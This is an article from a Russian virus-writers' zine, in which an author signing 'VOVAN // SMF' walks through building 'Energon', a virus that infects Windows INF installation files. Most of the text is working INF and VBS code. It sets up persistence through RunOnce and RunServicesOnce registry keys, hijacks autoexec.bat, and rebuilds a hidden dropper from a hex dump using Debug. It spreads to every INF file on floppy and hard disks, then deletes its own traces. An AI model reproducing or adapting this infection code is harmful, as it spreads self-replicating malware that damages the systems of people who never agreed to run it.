/*-----------------------------------------------------------------------*/
 /*                       R I N G 0,    I S S U E   # 1                   */
 /*-----------------------------------------------------------------------*/

                         Energon INF вирус на VBS

                                                          by VOVAN // SMF

  Вирус  заражающий  инсталляционные  INF-файлы  Windows,  т.е. *.inf при
 установке  какого  либо  оборудования  модема,  видео  карты, монитора и
 других  устройств  Windows  ищет  INF-файлы  и обрабатывает их, выполняя
 скрипт-инструкции.

  Вирус  состоит из двух частей inf-файла и вложенного в него дроппера на
 VBS  При  активизации  вирусный  скрипт  копирует текущий файл в каталог
 Windows с помощью секции [Host_Energon.File] которая получит управление.

 [Host_Energon.File]
 Energon.inf, <имя текущего файла>

  Секция  [DestinationDirs]  служит для указания пути для других секций и
 инструкций, например куда копировать или где переименовывать и т.д.

 [DestinationDirs]
 Host_Energon.File  = 10        ; WINDOWS
 Copy_Auto_Bak.Ren  = 30        ; C:\
 Rename_bat_vbs.Ren = 30        ; C:\
 Ren_bak_bat.Ren    = 30        ; C:\

  далее прописываем команду запуска, в реестр в секцию

 HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce,Run,,"RUNDLL.EXE %11%\setupx.dll,InstallHinfSection Install_Energon 64 %10%\energon.inf"

 для дальнейшей инсталляции и распространения вируса

 RUNDLL.EXE %11%\setupx.dll,InstallHinfSection Install_Energon 64 %10%\energon.inf

  данная    команда    после   перезапуска   Windows   запускает   секцию
 [Install_Energon] в %10%\energon.inf файле, где %10% это путь к каталогу
 Windows После чего и начинается инсталляция вируса в систему.

 Секция [Install_Energon] состоит из четырех инструкций

 [Install_Energon]
 UpdateInis = Energon_dump
 RenFiles = Copy_Auto_Bak.Ren
 UpdateAutoBat = Energon_Attach
 AddReg = Run_Ren_Auto_Bat.reg

 первая инструкция

 UpdateInis = Energon_dump

  инструкция  UpdateInis  служит  для внесения изменений в ini-файлы я ее
 использовал для создания файла enr.drv в каталоге Windows т.к. этот файл
 изначально  не  существует,  Windows создает его используя инструкции из
 секции Energon_dump

 Секция [Energon_dump] состоит из следующих инструкций

 [Energon_dump]
 %10%\enr.drv,-,,"N %10%\ENERGON.VBS"
 %10%\enr.drv,-,,".........................................."
 %10%\enr.drv,-,,".........................................."
 %10%\enr.drv,-,,".........................................."

 Где

 %10%\enr.drv,-,,"...."

 %10%     - каталог Windows
 \enr.drv - имя файла для внесения изменений (в данном случаи для записи
            шестнадцатеричного дампа)
 ,-,,     - имя секции в ini-файле вместо "-" можно записать любое имя
 "...."   - сам шестнадцатеричный дамп

  После  выполнения  секции  [Energon_dump] в каталоге Windows появляется
 файл с именем enr.drv который содержит шестнадцатеричный дамп дроппера

  Далее переходим ко второй инструкции в секции [Install_Energon]

 RenFiles = Copy_Auto_Bak.Ren

  Инструкция RenFiles служит для переименования файлов.
  Инструкции    для    переименования    файлов    находятся   в   секции
 Copy_Auto_Bak.Ren

 Секция [Copy_Auto_Bak.Ren] состоит из следующих инструкций

 [Copy_Auto_Bak.Ren]
 autoexec.bak,autoexec.bat

  с  начало  идет  новое имя файла, а потом старое т.е. файл autoexec.bat
 переименовывается в autoexec.bak

  Далее переходим к третьей инструкции в секции [Install_Energon]

 UpdateAutoBat = Energon_Attach

  Инструкция   UpdateAutoBat   служит   для  внесения  изменений  в  файл
 autoexec.bat   но   т.к.   в   предыдущей   секции   [Copy_Auto_Bak.Ren]
 autoexec.bat  был  переименован  в  autoexec.bak и autoexec.bat уже нет,
 инструкция  UpdateAutoBat  создаст  новый  файл autoexec.bat и запишет в
 него   vbs-файл   инструкции   для   его  создания  находятся  в  секции
 Energon_Attach

 Секция [Energon_Attach] состоит из следующих инструкций

 [Energon_Attach]
 CmdAdd="On","Error Resume Next"
 CmdAdd="Set","A=CreateObject(""Scripting.FileSystemObject"")"
 CmdAdd="CreateObject","(""WScript.Shell"").Run (""Command.com /c Debug < %10%\enr.drv""),0"
 CmdAdd="'A.MoveFile","""%30%\autoexec.bak"",""%30%\autoexec.bat"""
 CmdAdd="Do"
 CmdAdd="If","A.FileExists(A.GetSpecialFolder(0)&""\energon.vbs"")<>False Then Exit Do"
 CmdAdd="Loop"
 CmdAdd="CreateObject","(""WScript.Shell"").Run (""%10%\wscript.exe %10%\energon.vbs""),0"
 CmdAdd="A.DeleteFile","(""%10%\enr.drv""),1"
 CmdAdd="A.DeleteFile","(""%30%\tmp.vbs""),1"

  Инструкция CmdAdd служит для добавления строк заключенных в кавычки

  Далее переходим к четвертой инструкции в секции [Install_Energon]

 AddReg = Run_Ren_Auto_Bat.reg

  Инструкция  AddReg  служит  для  добавления в реестр различных записей,
 команд находящихся в секции Run_Ren_Auto_Bat.reg

  Секция [Run_Ren_Auto_Bat.reg] состоит из следующих инструкций

 [Run_Ren_Auto_Bat.reg]
 HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,Run,,"RUNDLL.EXE %11%\setupx.dll,InstallHinfSection Ren_Auto_Bat 64 %10%\energon.inf"

  Запись  в секцию HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
 в реестр равносильно немедленному запуску той команды или файла, который
 в нее записывается в данном случае это команда

 RUNDLL.EXE %11%\setupx.dll,InstallHinfSection Ren_Auto_Bat 64 %10%\energon.inf

 которая запускает [Ren_Auto_Bat] секцию в файле %10%\energon.inf

 Секция [Ren_Auto_Bat] состоит из двух инструкций

 [Ren_Auto_Bat]
 RenFiles = Rename_bat_vbs.Ren
 AddReg = Rename_bak_bat.reg

 инструкция RenFiles = Rename_bat_vbs.Ren служит для переименования файлов
 находящихся в секции Rename_bat_vbs.Ren

 Cекция [Rename_bat_vbs.Ren] состоит из следующих инструкций

 [Rename_bat_vbs.Ren]
 tmp.vbs,autoexec.bat

 файл autoexec.bat переименовывается в tmp.vbs

 Вторая инструкция в секции [Ren_Auto_Bat]

 AddReg = Rename_bak_bat.reg

 [Rename_bak_bat.reg]
 HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,Run,,"RUNDLL.EXE %11%\setupx.dll,InstallHinfSection Ren_bak_bat_run 64 %10%\energon.inf"

 нужна для запуска секции [Ren_bak_bat_run] в файле %10%\energon.inf

 Далее секция [Ren_bak_bat_run] состоит из двух инструкций

 [Ren_bak_bat_run]
 RenFiles = Ren_bak_bat.Ren
 AddReg = Run_tmp.reg

 инструкция RenFiles = Ren_bak_bat.Ren служит для переименования файлов
 находящихся в секции Ren_bak_bat.Ren

 [Ren_bak_bat.Ren]
 autoexec.bat,autoexec.bak

  переименовываем  autoexec.bak  в autoexec.bat, т.е. восстанавливаем его
 назад как было.

 Вторая инструкция в секции [Ren_bak_bat_run]

 AddReg = Run_tmp.reg

 [Run_tmp.reg]
 HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,Run,,"%10%\wscript.exe %30%\tmp.vbs //B"

  нужна  для  запуска  vbs-файла с именем tmp.vbs, который в дальнейшем с
 помощью  команды  "Command.com  /c  Debug < %10%\enr.drv" в скрытом окне
 преобразует шестнадцатеричный дамп в файл energon.vbs в каталоге Windows
 затем  после  преобразования запустит его, т.е. дроппер в скрытом окне и
 удалит вспомогательные файлы enr.drv и себя tmp.vbs

  Далее файл дроппер energon.vbs

  Дроппер  считывает  из файла energon.inf находящимся в каталоге Windows
 начиная с секции [Energon_dump] до комментария ";Energon" находящегося в
 конце  файла  шестнадцатеричный дамп потом начинает поиск по маске *.inf
 на  диске  A:\  и  всех HDD в каждом *.inf-файле ищется секция [Version]
 т.о.  вирус  различает  инсталляционные  INF-файлы Windows, если ее нет,
 файл пропускается каждый найденный файл проверяет на зараженность.

  И если файл не заражен вирус ищет в каждой секции инструкции, CopyFiles
 проверяет в них наличие записи Host_Energon.File, если такой записи нет,
 дописывает  в  конце  строки ",Host_Energon.File" также ищет, инструкции
 AddReg  проверяет  в них наличие записи Inst_Run, если такой записи нет,
 дописывает  в  конце  строки ",Inst_Run" если в секции не хватает, какой
 нибудь  одной инструкции будь то CopyFiles или AddReg вирус дописывает в
 секцию нехватающюю инструкцию

 CopyFiles = Host_Energon.File
        или
 AddReg = Inst_Run

  далее  вирус  ищет секцию [DestinationDirs] для записи в нее инструкций
 необходимых вирусу если таковой нет, вирус создает ее.

 Host_Energon.File  = 10        ; WINDOWS
 Copy_Auto_Bak.Ren  = 30        ; C:\
 Rename_bat_vbs.Ren = 30        ; C:\
 Ren_bak_bat.Ren    = 30        ; C:\

  далее  вирус  ищет  секцию  [DefaultInstall] для записи в нее следующих
 инструкций

 CopyFiles = Host_Energon.File
 AddReg = Inst_Run

  Эта секция в inf-файлах срабатывает при нажатии на выделенном inf-файле
 правой клавишей мышки в открывшемся меню на пункте "Установить"

 если [DefaultInstall] секции нет, вирус создает ее.

  Далее  вирус  переходит  на  конец  файла-жертвы  и  дописывает  в него
 следующие секции и инструкции, о которых рассказано выше.

 [Inst_Run]
 HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce,Run,,"RUNDLL.EXE %11%\setupx.dll,InstallHinfSection Install_Energon 64 %10%\energon.inf"
 [Install_Energon]
 UpdateInis = Energon_dump
 RenFiles  = Copy_Auto_Bak.Ren
 UpdateAutoBat = Energon_Attach
 AddReg = Run_Ren_Auto_Bat.reg
 [Copy_Auto_Bak.Ren]
 autoexec.bak,autoexec.bat
 [Run_Ren_Auto_Bat.reg]
 HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,Run,,"RUNDLL.EXE %11%\setupx.dll,InstallHinfSection Ren_Auto_Bat 64 %10%\energon.inf"
 [Ren_Auto_Bat]
 RenFiles = Rename_bat_vbs.Ren
 AddReg = Rename_bak_bat.reg
 [Rename_bat_vbs.Ren]
 tmp.vbs,autoexec.bat
 [Rename_bak_bat.reg]
 HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,Run,,"RUNDLL.EXE %11%\setupx.dll,InstallHinfSection Ren_bak_bat_run 64 %10%\energon.inf"
 [Ren_bak_bat_run]
 RenFiles = Ren_bak_bat.Ren
 AddReg = Run_tmp.reg
 [Ren_bak_bat.Ren]
 autoexec.bat,autoexec.bak
 [Run_tmp.reg]
 HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,Run,,"%10%\wscript.exe %30%\tmp.vbs //B"
 [Host_Energon.File]
 Energon.inf, Energon.inf
 [Energon_Attach]
 CmdAdd="On","Error Resume Next"
 CmdAdd="Set","A=CreateObject(""Scripting.FileSystemObject"")"
 CmdAdd="Set","B=CreateObject(""WScript.Shell"")"
 CmdAdd="B.Run",""(""Command.com /c Debug < %10%\enr.drv""),0"
 CmdAdd="Do"
 CmdAdd="If","A.FileExists(A.GetSpecialFolder(0)&""\energon.vbs"")<>False Then Exit Do"
 CmdAdd="Loop"
 CmdAdd="B.Run","(""%10%\wscript.exe %10%\energon.vbs""),0"
 CmdAdd="A.DeleteFile","(""%10%\enr.drv""),1"
 CmdAdd="A.DeleteFile","(""%30%\tmp.vbs""),1"

 Потом вирус дописывает считанный из файла energon.inf шестнадцатеричный дамп

 [Energon_dump]
 ......................
 шестнадцатеричный дамп
 ......................
 ;Energon

 и закрывает файл-жертву
 и так пока не заразим все
 после   заражения  всех  inf-файлов  удалим  файл  energon.inf  и  себя
 energon.vbs в каталоге Windows.

 Energon.a работает медленнее.
 Energon.b работает быстрее.